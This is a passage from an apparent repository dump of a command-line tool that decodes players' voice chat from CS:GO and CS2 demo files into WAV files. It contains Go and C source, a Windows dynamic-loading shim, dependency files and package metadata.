"Failed to create Opus decoder", Err: err, ExitCode: common.DecodingError, }) return } var pcmBuffer []int for _, d := range data { pcm, err := Decode(decoder, d) if err != nil { log.Println(err) continue } pp := make([]int, len(pcm)) for i, p := range pcm { pp[i] = int(p * math.MaxInt32) } pcmBuffer = append(pcmBuffer, pp...) } file, err := os.Create(fileName) if err != nil { common.HandleError(common.Error{ Message: "Couldn't create WAV file", Err: err, ExitCode: common.WavFileCreationError, }) return } defer file.Close() enc := wav.NewEncoder(file, 48000, 32, 1, 1) defer enc.Close() buffer := &audio.IntBuffer{ Data: pcmBuffer, Format: &audio.Format{ SampleRate: 48000, NumChannels: 1, }, } if err := enc.Write(buffer); err != nil { common.HandleError(common.Error{ Message: "Couldn't write WAV file", Err: err, ExitCode: common.WavFileCreationError, }) } } ``` ## /csgo/decoder.c ```c path="/csgo/decoder.c" #include #include #include #include "decoder.h" void *handle; CeltDecodeFunc* celtDecode; CELTDecoder *decoder; int Init(const char *csgoLibPath) { // The CSGO audio lib depends on an additional lib "tier0" which is not located on standard paths but in the CSGO folder. // It means that loading the audio lib without LD_LIBRARY_PATH would fail because it won't be able to find the tier0 lib. // That's why LD_LIBRARY_PATH must be set on unix, even the script used to start CSGO on unix does it (see csgo.sh in the game folder). // On Windows, LoadLibraryEx is able to load a DLL and its additional dependencies if they are in the same folder. #if _WIN32 char csgoLibraryFullPath[1024]; snprintf(csgoLibraryFullPath, sizeof(csgoLibraryFullPath), "%s\\%s", csgoLibPath, LIB_NAME); handle = dlopen(csgoLibraryFullPath, RTLD_LAZY); #else handle = dlopen(LIB_NAME, RTLD_LAZY); #endif if (!handle) { fprintf(stderr, "dlopen failed: %s\n", dlerror()); return EXIT_FAILURE; } CeltModeCreateFunc* celtModeCreate = dlsym(handle, "celt_mode_create"); if (celtModeCreate == NULL) { fprintf(stderr, "dlsym celt_mode_create failed: %s\n", dlerror()); Release(); return EXIT_FAILURE; } CeltDecoderCreateCustomFunc* celtDecoderCreateCustom = dlsym(handle, "celt_decoder_create_custom"); if (celtDecoderCreateCustom == NULL) { fprintf(stderr, "dlsym celt_decoder_create_custom failed: %s\n", dlerror()); Release(); return EXIT_FAILURE; } celtDecode = dlsym(handle, "celt_decode"); if (celtDecode == NULL) { fprintf(stderr, "dlsym celt_decode failed: %s\n", dlerror()); Release(); return EXIT_FAILURE; } CELTMode *mode = celtModeCreate(SAMPLE_RATE, FRAME_SIZE, NULL); if (mode == NULL) { fprintf(stderr, "Mode creation failed\n"); Release(); return EXIT_FAILURE; } decoder = celtDecoderCreateCustom(mode, 1, NULL); if (decoder == NULL) { fprintf(stderr, "Decoder creation failed\n"); Release(); return EXIT_FAILURE; } return EXIT_SUCCESS; } int Release() { int closed = dlclose(handle); if (closed != 0) { fprintf(stderr, "Release failed: %s\n", dlerror()); return EXIT_FAILURE; } return EXIT_SUCCESS; } int Decode(int dataSize, unsigned char *data, const char *destinationPath) { size_t outputSize = (dataSize / PACKET_SIZE) * FRAME_SIZE * 2; int16_t* output = malloc(outputSize); int read = 0; int written = 0; while (read < dataSize) { int result = celtDecode(decoder, data + read, PACKET_SIZE, output + written, FRAME_SIZE); if (result < 0) { continue; } read += PACKET_SIZE; written += FRAME_SIZE; } FILE* outputFile = fopen(destinationPath, "wb"); if (outputFile == NULL) { fprintf(stderr, "Unable to open PCM output file: %s\n", destinationPath); return EXIT_FAILURE; } fwrite(output, outputSize, 1, outputFile); free(output); fclose(outputFile); return EXIT_SUCCESS; } ``` ## /csgo/decoder.h ```h path="/csgo/decoder.h" #ifndef _AUDIO_H #define _AUDIO_H #if _WIN32 #include #include "dlfcn_win.h" #define LIB_NAME "vaudio_celt.dll" #elif __APPLE__ #include #define LIB_NAME "vaudio_celt.dylib" #else #include #define LIB_NAME "vaudio_celt_client.so" #endif #define FRAME_SIZE 512 #define SAMPLE_RATE 22050 #define PACKET_SIZE 64 typedef struct CELTMode CELTMode; typedef struct CELTDecoder CELTDecoder; typedef struct CELTEncoder CELTEncoder; typedef CELTMode* CeltModeCreateFunc(int32_t, int, int *error); typedef CELTDecoder* CeltDecoderCreateCustomFunc(CELTMode*, int, int *error); typedef int CeltDecodeFunc(CELTDecoder *st, const unsigned char *data, int len, int16_t *pcm, int frame_size); int Init(const char *binariesPath); int Release(); int Decode(int dataSize, unsigned char *data, const char *destinationPath); #endif ``` ## /csgo/dlfcn_win.c ```c path="/csgo/dlfcn_win.c" // +build windows #include #include #include #include #include static struct LastError { long code; const char *functionName; } lastError = { 0, NULL }; void *dlopen(const char *filename, int flags) { HINSTANCE handle = LoadLibraryEx(filename, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); if (handle == NULL) { lastError.code = GetLastError(); lastError.functionName = "dlopen"; } return handle; } int dlclose(void *handle) { BOOL ok = FreeLibrary(handle); if (!ok) { lastError.code = GetLastError(); lastError.functionName = "dlclose"; return -1; } return 0; } void *dlsym(void *handle, const char *name) { FARPROC fp = GetProcAddress(handle, name); if (fp == NULL) { lastError.code = GetLastError(); lastError.functionName = "dlsym"; } return (void *)(intptr_t)fp; } const char *dlerror() { static char error[256]; if (lastError.code) { sprintf(error, "%s error #%ld", lastError.functionName, lastError.code); return error; } return NULL; } ``` ## /csgo/dlfcn_win.h ```h path="/csgo/dlfcn_win.h" // +build windows #ifndef DLFCN_H #define DLFCN_H #define RTLD_LAZY 0x1 // Small wrapper around the Windows API to mimic POSIX dynamic library loading functions. void *dlopen(const char *filename, int flag); int dlclose(void *handle); void *dlsym(void *handle, const char *name); const char *dlerror(); #endif ``` ## /csgo/extractor.go ```go path="/csgo/extractor.go" package csgo // #cgo CFLAGS: -Wall -g // #include // #include "decoder.h" import "C" import ( "errors" "fmt" "os" "path/filepath" "strings" "unsafe" "github.com/capitaltempo/csgo-voice-extractor/common" dem "github.com/markus-wa/demoinfocs-golang/v4/pkg/demoinfocs" "github.com/markus-wa/demoinfocs-golang/v4/pkg/demoinfocs/msg" wav "github.com/youpy/go-wav" "google.golang.org/protobuf/proto" ) var demoPaths []string func getPlayersVoiceData(file *os.File) (map[string][]byte, error) { var voiceDataPerPlayer = map[string][]byte{} parserConfig := dem.DefaultParserConfig parserConfig.AdditionalNetMessageCreators = map[int]dem.NetMessageCreator{ int(msg.SVC_Messages_svc_VoiceData): func() proto.Message { return new(msg.CSVCMsg_VoiceData) }, int(msg.SVC_Messages_svc_VoiceInit): func() proto.Message { return new(msg.CSVCMsg_VoiceInit) }, } parser := dem.NewParserWithConfig(file, parserConfig) defer parser.Close() parser.RegisterNetMessageHandler(func(m *msg.CSVCMsg_VoiceInit) { if m.GetCodec() != "vaudio_celt" || m.GetQuality() != 5 || m.GetVersion() != 3 { common.UnsupportedCodecError = &common.UnsupportedCodec{ Name: m.GetCodec(), Quality: m.GetQuality(), Version: m.GetVersion(), } parser.Cancel() } }) parser.RegisterNetMessageHandler(func(m *msg.CSVCMsg_VoiceData) { playerID := common.GetPlayerID(parser, m.GetXuid()) if playerID == "" { return } if voiceDataPerPlayer[playerID] == nil { voiceDataPerPlayer[playerID] = make([]byte, 0) } voiceDataPerPlayer[playerID] = append(voiceDataPerPlayer[playerID], m.GetVoiceData()...) }) err := parser.ParseToEnd() return voiceDataPerPlayer, err } func convertPcmFileToWavFile(pcmFilePath string, wavFilePath string) { data, err := os.ReadFile(pcmFilePath) if err != nil { common.HandleError(common.Error{ Message: "Failed to read PCM file", Err: err, ExitCode: common.WavFileCreationError, }) return } wavFile, err := os.Create(wavFilePath) if err != nil { common.HandleError(common.Error{ Message: "Couldn't create WAV file", Err: err, ExitCode: common.WavFileCreationError, }) return } defer wavFile.Close() var numSamples uint32 = uint32(len(data) / 2) var numChannels uint16 = 1 var sampleRate uint32 = 22050 var bitsPerSample uint16 = 16 writer := wav.NewWriter(wavFile, numSamples, numChannels, sampleRate, bitsPerSample) _, err = writer.Write(data) if err != nil { common.HandleError(common.Error{ Message: "Couldn't write WAV file", Err: err, ExitCode: common.WavFileCreationError, }) } } func Extract(options common.ExtractOptions) { common.AssertLibraryFilesExist() cLibrariesPath := C.CString(common.LibrariesPath) initAudioLibResult := C.Init(cLibrariesPath) if initAudioLibResult != 0 { common.HandleError(common.Error{ Message: "Failed to initialize CSGO audio decoder", ExitCode: common.LoadCsgoLibError, }) return } playersVoiceData, err := getPlayersVoiceData(options.File) common.AssertCodecIsSupported() demoPath := options.DemoPath isCorruptedDemo := errors.Is(err, dem.ErrUnexpectedEndOfDemo) isCanceled := errors.Is(err, dem.ErrCancelled) if err != nil && !isCorruptedDemo && !isCanceled { common.HandleError(common.Error{ Message: fmt.Sprintf("Failed to parse demo: %s\n", demoPath), Err: err, ExitCode: common.ParsingError, }) return } if isCanceled { return } if len(playersVoiceData) == 0 { common.HandleError(common.Error{ Message: fmt.Sprintf("No voice data found in demo %s\n", demoPath), ExitCode: common.NoVoiceDataFound, }) return } demoName := strings.TrimSuffix(filepath.Base(demoPath), filepath.Ext(demoPath)) for playerId, voiceData := range playersVoiceData { playerFileName := fmt.Sprintf("%s_%s", demoName, playerId) pcmTmpFile, err := os.CreateTemp("", "pcm.bin") pcmFilePath := pcmTmpFile.Name() if err != nil { common.HandleError(common.Error{ Message: fmt.Sprintf("Failed to write tmp file: %s\n", pcmFilePath), ExitCode: common.DecodingError, }) continue } defer os.Remove(pcmFilePath) cPcmFilePath := C.CString(pcmFilePath) cSize := C.int(len(voiceData)) cData := (*C.uchar)(unsafe.Pointer(&voiceData[0])) result := C.Decode(cSize, cData, cPcmFilePath) if result != 0 { common.HandleError(common.Error{ Message: fmt.Sprintf("Failed to decode voice data: %d\n", result), ExitCode: common.DecodingError, }) continue } wavFilePath := fmt.Sprintf("%s/%s.wav", options.OutputPath, playerFileName) convertPcmFileToWavFile(pcmFilePath, wavFilePath) } } ``` ## /csgo_voice_extractor.go ```go path="/csgo_voice_extractor.go" package main import ( "flag" "fmt" "io" "os" "path/filepath" "strings" "github.com/capitaltempo/csgo-voice-extractor/common" "github.com/capitaltempo/csgo-voice-extractor/cs2" "github.com/capitaltempo/csgo-voice-extractor/csgo" ) var outputPath string var demoPaths []string func computeOutputPathFlag() { if outputPath == "" { currentDirectory, err := os.Getwd() if err != nil { common.HandleInvalidArgument("Failed to get current directory", err) } outputPath = currentDirectory return } var err error outputPath, err = filepath.Abs(outputPath) if err != nil { common.HandleInvalidArgument("Invalid output path provided", err) } _, err = os.Stat(outputPath) if os.IsNotExist(err) { common.HandleInvalidArgument("Output folder doesn't exists", err) } } func computeDemoPathsArgs() { demoPaths = flag.Args() if len(demoPaths) == 0 { common.HandleInvalidArgument("No demo path provided", nil) } for _, demoPath := range demoPaths { if !strings.HasSuffix(demoPath, ".dem") { common.HandleInvalidArgument(fmt.Sprintf("Invalid demo path: %s", demoPath), nil) } } } func parseArgs() { flag.StringVar(&outputPath, "output", "", "Output folder where WAV files will be written. Can be relative or absolute, default to the current directory.") flag.BoolVar(&common.ShouldExitOnFirstError, "exit-on-first-error", false, "Exit the program on at the first error encountered, default to false.") flag.Parse() computeDemoPathsArgs() computeOutputPathFlag() } func getDemoTimestamp(file *os.File, demoPath string) (string, error) { buffer := make([]byte, 8) n, err := io.ReadFull(file, buffer) if err != nil { return "", err } timestamp := string(buffer[:n]) timestamp = strings.TrimRight(timestamp, "\x00") return timestamp, nil } func main() { parseArgs() for _, demoPath := range demoPaths { fmt.Printf("Processing demo %s\n", demoPath) file, err := os.Open(demoPath) if err != nil { if _, isOpenFileError := err.(*os.PathError); isOpenFileError { common.HandleError(common.Error{ Message: fmt.Sprintf("Demo not found: %s", demoPath), Err: err, ExitCode: common.DemoNotFound, }) } else { common.HandleError(common.Error{ Message: fmt.Sprintf("Failed to open demo: %s", demoPath), Err: err, ExitCode: common.OpenDemoError, }) } continue } defer file.Close() timestamp, err := getDemoTimestamp(file, demoPath) if err != nil { common.HandleError(common.Error{ Message: fmt.Sprintf("Failed to read demo timestamp: %s", demoPath), Err: err, ExitCode: common.OpenDemoError, }) continue } _, err = file.Seek(0, 0) if err != nil { common.HandleError(common.Error{ Message: fmt.Sprintf("Failed to reset demo file pointer: %s", demoPath), Err: err, ExitCode: common.OpenDemoError, }) continue } options := common.ExtractOptions{ DemoPath: demoPath, DemoName: strings.TrimSuffix(filepath.Base(demoPath), filepath.Ext(demoPath)), File: file, OutputPath: outputPath, } switch timestamp { case "HL2DEMO": csgo.Extract(options) case "PBDEMS2": cs2.Extract(options) default: common.HandleError(common.Error{ Message: fmt.Sprintf("Unsupported demo format: %s", timestamp), ExitCode: common.UnsupportedDemoFormat, }) } fmt.Printf("End processing demo %s\n", demoPath) } } ``` ## /dist/bin/darwin-x64/libtier0.dylib Binary file available at https://raw.githubusercontent.com/capitaltempo/csgo-voice-extractor/refs/heads/main/dist/bin/darwin-x64/libtier0.dylib ## /dist/bin/darwin-x64/libvstdlib.dylib Binary file available at https://raw.githubusercontent.com/capitaltempo/csgo-voice-extractor/refs/heads/main/dist/bin/darwin-x64/libvstdlib.dylib ## /dist/bin/darwin-x64/vaudio_celt.dylib Binary file available at https://raw.githubusercontent.com/capitaltempo/csgo-voice-extractor/refs/heads/main/dist/bin/darwin-x64/vaudio_celt.dylib ## /dist/bin/linux-x64/libtier0_client.so Binary file available at https://raw.githubusercontent.com/capitaltempo/csgo-voice-extractor/refs/heads/main/dist/bin/linux-x64/libtier0_client.so ## /dist/bin/linux-x64/vaudio_celt_client.so Binary file available at https://raw.githubusercontent.com/capitaltempo/csgo-voice-extractor/refs/heads/main/dist/bin/linux-x64/vaudio_celt_client.so ## /dist/bin/win32-x64/tier0.dll Binary file available at https://raw.githubusercontent.com/capitaltempo/csgo-voice-extractor/refs/heads/main/dist/bin/win32-x64/tier0.dll ## /dist/bin/win32-x64/vaudio_celt.dll Binary file available at https://raw.githubusercontent.com/capitaltempo/csgo-voice-extractor/refs/heads/main/dist/bin/win32-x64/vaudio_celt.dll ## /go.mod ```mod path="/go.mod" module github.com/capitaltempo/csgo-voice-extractor go 1.24 toolchain go1.24.0 require ( github.com/go-audio/audio v1.0.0 github.com/go-audio/wav v1.1.0 github.com/markus-wa/demoinfocs-golang/v4 v4.3.4-0.20250307001803-e62b9d156a7c github.com/markus-wa/gobitread v0.2.4 github.com/pkg/errors v0.9.1 github.com/youpy/go-wav v0.3.2 google.golang.org/protobuf v1.36.6 gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302 ) require ( github.com/go-audio/riff v1.0.0 // indirect github.com/golang/geo v0.0.0-20250404181303-07d601f131f3 // indirect github.com/golang/snappy v1.0.0 // indirect github.com/markus-wa/go-unassert v0.1.3 // indirect github.com/markus-wa/godispatch v1.4.1 // indirect github.com/markus-wa/ice-cipher-go v0.0.0-20230901094113-348096939ba7 // indirect github.com/markus-wa/quickhull-go/v2 v2.2.0 // indirect github.com/oklog/ulid/v2 v2.1.0 // indirect github.com/youpy/go-riff v0.1.0 // indirect github.com/zaf/g711 v1.4.0 // indirect golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect ) ``` ## /go.sum ```sum path="/go.sum" github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/go-audio/audio v1.0.0 h1:zS9vebldgbQqktK4H0lUqWrG8P0NxCJVqcj7ZpNnwd4= github.com/go-audio/audio v1.0.0/go.mod h1:6uAu0+H2lHkwdGsAY+j2wHPNPpPoeg5AaEFh9FlA+Zs= github.com/go-audio/riff v1.0.0 h1:d8iCGbDvox9BfLagY94fBynxSPHO80LmZCaOsmKxokA= github.com/go-audio/riff v1.0.0/go.mod h1:l3cQwc85y79NQFCRB7TiPoNiaijp6q8Z0Uv38rVG498= github.com/go-audio/wav v1.1.0 h1:jQgLtbqBzY7G+BM8fXF7AHUk1uHUviWS4X39d5rsL2g= github.com/go-audio/wav v1.1.0/go.mod h1:mpe9qfwbScEbkd8uybLuIpTgHyrISw/OTuvjUW2iGtE= github.com/golang/geo v0.0.0-20180826223333-635502111454/go.mod h1:vgWZ7cu0fq0KY3PpEHsocXOWJpRtkcbKemU4IUw0M60= github.com/golang/geo v0.0.0-20230421003525-6adc56603217 h1:HKlyj6in2JV6wVkmQ4XmG/EIm+SCYlPZ+V4GWit7Z+I= github.com/golang/geo v0.0.0-20230421003525-6adc56603217/go.mod h1:8wI0hitZ3a1IxZfeH3/5I97CI8i5cLGsYe7xNhQGs9U= github.com/golang/geo v0.0.0-20250404181303-07d601f131f3 h1:8COTSTFIIXnaD81+kfCw4dRANNAKuCp06EdYLqwX30g= github.com/golang/geo v0.0.0-20250404181303-07d601f131f3/go.mod h1:J+F9/3Ofc8ysEOY2/cNjxTMl2eB1gvPIywEHUplPgDA= github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v1.0.0 h1:Oy607GVXHs7RtbggtPBnr2RmDArIsAefDwvrdWvRhGs= github.com/golang/snappy v1.0.0/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/markus-wa/demoinfocs-golang/v4 v4.3.0 h1:R+lazMCOA7ycuAKDPoqWjjLHYuIyor/sVM7hD9UaB+M= github.com/markus-wa/demoinfocs-golang/v4 v4.3.0/go.mod h1:HoKANU0AlFzSgtEJ4YD/pMQw3L0dNRgtn2GPVD+tF7I= github.com/markus-wa/demoinfocs-golang/v4 v4.3.4-0.20250307001803-e62b9d156a7c h1:nAHYTR1Waz1qFivggBUHz/j3XB1YMTg+TI0+k9epd2g= github.com/markus-wa/demoinfocs-golang/v4 v4.3.4-0.20250307001803-e62b9d156a7c/go.mod h1:SfgbMznZREy98M7EjzkIPxEpZPVpbX/f9tVGSTJF3WU= github.com/markus-wa/go-unassert v0.1.3 h1:4N2fPLUS3929Rmkv94jbWskjsLiyNT2yQpCulTFFWfM= github.com/markus-wa/go-unassert v0.1.3/go.mod h1:/pqt7a0LRmdsRNYQ2nU3SGrXfw3bLXrvIkakY/6jpPY= github.com/markus-wa/gobitread v0.2.4 h1:BDr3dZnsqntDD4D8E7DzhkQlASIkQdfxCXLhWcI2K5A= github.com/markus-wa/gobitread v0.2.4/go.mod h1:PcWXMH4gx7o2CKslbkFkLyJB/aHW7JVRG3MRZe3PINg= github.com/markus-wa/godispatch v1.4.1 h1:Cdff5x33ShuX3sDmUbYWejk7tOuoHErFYMhUc2h7sLc= github.com/markus-wa/godispatch v1.4.1/go.mod h1:tk8L0yzLO4oAcFwM2sABMge0HRDJMdE8E7xm4gK/+xM= github.com/markus-wa/ice-cipher-go v0.0.0-20230901094113-348096939ba7 h1:aR9pvnlnBxifXBmzidpAiq2prLSGlkhE904qnk2sCz4= github.com/markus-wa/ice-cipher-go v0.0.0-20230901094113-348096939ba7/go.mod h1:JIsht5Oa9P50VnGJTvH2a6nkOqDFJbUeU1YRZYvdplw= github.com/markus-wa/quickhull-go/v2 v2.2.0 h1:rB99NLYeUHoZQ/aNRcGOGqjNBGmrOaRxdtqTnsTUPTA= github.com/markus-wa/quickhull-go/v2 v2.2.0/go.mod h1:EuLMucfr4B+62eipXm335hOs23LTnO62W7Psn3qvU2k= github.com/oklog/ulid/v2 v2.1.0 h1:+9lhoxAP56we25tyYETBBY1YLA2SaoLvUFgrP2miPJU= github.com/oklog/ulid/v2 v2.1.0/go.mod h1:rcEKHmBBKfef9DhnvX7y1HZBYxjXb0cP5ExxNsTT1QQ= github.com/pborman/getopt v0.0.0-20170112200414-7148bc3a4c30/go.mod h1:85jBQOZwpVEaDAr341tbn15RS4fCAsIst0qp7i8ex1o= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/samber/lo v1.38.1 h1:j2XEAqXKb09Am4ebOg31SpvzUTTs6EN3VfgeLUhPdXM= github.com/samber/lo v1.38.1/go.mod h1:+m/ZKRl6ClXCE2Lgf3MsQlWfh4bn1bz6CXEOxnEXnEA= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.5.1 h1:4VhoImhV/Bm0ToFkXFi8hXNXwpDRZ/ynw3amt82mzq0= github.com/stretchr/objx v0.5.1/go.mod h1:/iHQpkQwBD6DLUmQ4pE+s1TXdob1mORJ4/UFdrifcy0= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/youpy/go-riff v0.1.0 h1:vZO/37nI4tIET8tQI0Qn0Y79qQh99aEpponTPiPut7k= github.com/youpy/go-riff v0.1.0/go.mod h1:83nxdDV4Z9RzrTut9losK7ve4hUnxUR8ASSz4BsKXwQ= github.com/youpy/go-wav v0.3.2 h1:NLM8L/7yZ0Bntadw/0h95OyUsen+DQIVf9gay+SUsMU= github.com/youpy/go-wav v0.3.2/go.mod h1:0FCieAXAeSdcxFfwLpRuEo0PFmAoc+8NU34h7TUvk50= github.com/zaf/g711 v0.0.0-20190814101024-76a4a538f52b/go.mod h1:T2h1zV50R/q0CVYnsQOQ6L7P4a2ZxH47ixWcMXFGyx8= github.com/zaf/g711 v1.4.0 h1:XZYkjjiAg9QTBnHqEg37m2I9q3IIDv5JRYXs2N8ma7c= github.com/zaf/g711 v1.4.0/go.mod h1:eCDXt3dSp/kYYAoooba7ukD/Q75jvAaS4WOMr0l1Roo= golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63 h1:m64FZMko/V45gv0bNmrNYoDEq8U5YUhetc9cBWKS1TQ= golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63/go.mod h1:0v4NqG35kSWCMzLaMeX+IQrlSnVE/bqGSyC2cz/9Le8= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da h1:noIWHXmPHxILtqtCOPIhSt0ABwskkZKjD3bXGnZGpNY= golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da/go.mod h1:NDW/Ps6MPRej6fsCIbMTohpP40sJ/P/vI1MoTEGwX90= google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302 h1:xeVptzkP8BuJhoIjNizd2bRHfq9KB9HfOLZu90T04XM= gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302/go.mod h1:/L5E7a21VWl8DeuCPKxQBdVG5cy+L0MRZ08B1wnqt7g= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gotest.tools v2.2.0+incompatible h1:VsBPFP1AI068pPrMxtb/S8Zkgf9xEmTLJjfM+P5UIEo= gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw= ``` ## /opus.pc.example ```example path="/opus.pc.example" # https://github.com/hraban/opus uses pkg-config to link Opus. # This pkg-config script is used only on Windows because there is no easy way like on Unix system to setup it. # It's based on the official script https://github.com/xiph/opus/blob/master/opus.pc.in # This script assumes that the opus.dll and C header files are located in the default TDM-GCC installation location! # If your GCC installation location is different, you have to adjust the "prefix" variable below. # # C header files have to be in a "include/opus" folder. It should be "C:/TDM-GCC-64/bin/include/opus" when using TDM. # # Opus codec reference implementation pkg-config file prefix=C:/TDM-GCC-64/bin exec_prefix=${prefix} libdir=${exec_prefix} includedir=${prefix}/include Name: Opus Description: Opus IETF audio codec (floating-point build) URL: https://opus-codec.org/ Version: 1.4 Requires: Conflicts: Libs: -L${libdir} -lopus Libs.private: Cflags: -I${includedir}/opus ``` ## /package.json ```json path="/package.json" { "name": "@akiver/csgo-voice-extractor", "version": "2.1.3", "description": "CLI to export players' voices from CSGO/CS2 demos into WAV files.", "author": "AkiVer", "license": "MIT", "bugs": { "url": "https://github.com/capitaltempo/csgo-voice-extractor/issues" }, "homepage": "https://github.com/capitaltempo/csgo-voice-extractor#readme", "repository": { "type": "git", "url": "git+https://github.com/capitaltempo/csgo-voice-extractor.git" }, "files": [ "dist" ], "os": [ "darwin", "linux", "win32" ], "cpu": [ "x64", "arm64" ], "keywords": [ "Counter-Strike", "CS", "CS2", "CSGO", "audio" ] } ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.